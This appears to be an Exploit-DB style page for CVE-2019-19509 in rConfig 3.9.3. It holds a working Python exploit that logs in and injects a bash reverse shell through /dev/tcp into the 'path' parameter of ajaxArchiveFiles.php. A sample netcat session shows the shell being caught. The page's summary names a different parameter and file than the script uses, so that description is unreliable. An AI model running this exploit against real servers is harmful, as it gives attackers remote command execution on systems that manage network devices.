rConfig 3.9.3 - Authenticated Remote Code Execution

vendor:

rConfig

by:

vikingfr

8.8

CVSS

HIGH

Authenticated Remote Code Execution

CWE

Product Name: rConfig

Affected Version From: 3.9.3

Affected Version To: 3.9.3

Patch Exists: YES

Related CWE: CVE-2019-19509

CPE: a:rconfig:rconfig

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Apache/2.4.6 (CentOS 7.7) OpenSSL/1.0.2k-fips PHP/7.2.24

2019

rConfig 3.9.3 – Authenticated Remote Code Execution

rConfig 3.9.3 is vulnerable to authenticated remote code execution. An attacker can exploit this vulnerability by sending a malicious payload to the target server via the 'sqlQuery' parameter in the 'ajaxServerSettings.php' file. This will allow the attacker to execute arbitrary code on the target server.

Mitigation:

The vendor has released a patch to address this vulnerability. Users should update their rConfig installations to the latest version.

Source

Exploit-DB raw data:

# Exploit Title: rConfig 3.9.3 - Authenticated Remote Code Execution
# Date: 2019-11-07
# CVE-2019-19509
# Exploit Author: vikingfr
# Vendor Homepage: https://rconfig.com/ (see also : https://github.com/rconfig/rconfig)
# Software Link : http://files.rconfig.com/downloads/scripts/centos7_install.sh
# Version: tested v3.9.3
# Tested on: Apache/2.4.6 (CentOS 7.7) OpenSSL/1.0.2k-fips PHP/7.2.24
#
# Notes : If you want to reproduce in your lab environment follow those links :
# http://help.rconfig.com/gettingstarted/installation
# then
# http://help.rconfig.com/gettingstarted/postinstall
#
# $ python3 rconfig_CVE-2019-19509.py https://192.168.43.34 admin root 192.168.43.245 8081
# rconfig - CVE-2019-19509 - Web authenticated RCE
# [+] Logged in successfully, triggering the payload...
# [+] Check your listener !
# ...
# $ nc -nvlp 8081
# listening on [any] 8081 ...
# connect to [192.168.43.245] from (UNKNOWN) [192.168.43.34] 34458
# bash: no job control in this shell
# bash-4.2$ id
# id
# uid=48(apache) gid=48(apache) groups=48(apache)
# bash-4.2$ 

#!/usr/bin/python3

import requests
import sys
import urllib.parse
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

print ("rconfig - CVE-2019-19509 - Web authenticated RCE")

if len(sys.argv) != 6:
    print ("[+] Usage : ./rconfig_exploit.py https://target username password yourIP yourPort")
    exit()

target = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
ip = sys.argv[4]
port = sys.argv[5]
payload = '''`bash -i>& /dev/tcp/{0}/{1} 0>&1`'''.format(ip, port)

request = requests.session()

login_info = {
    "user": username,
    "pass": password,
    "sublogin": 1
}

login_request = request.post(
    target+"/lib/crud/userprocess.php",
     login_info,
     verify=False,
     allow_redirects=True
 )

dashboard_request = request.get(target+"/dashboard.php", allow_redirects=False)

if dashboard_request.status_code == 200:
    print ("[+] Logged in successfully, triggering the payload...")
    encoded_request = target+"/lib/ajaxHandlers/ajaxArchiveFiles.php?path={0}&ext=random".format(urllib.parse.quote(payload))
    print ("[+] Check your listener !")
    exploit_req = request.get(encoded_request)

elif dashboard_request.status_code == 302:
    print ("[-] Wrong credentials !")
    exit()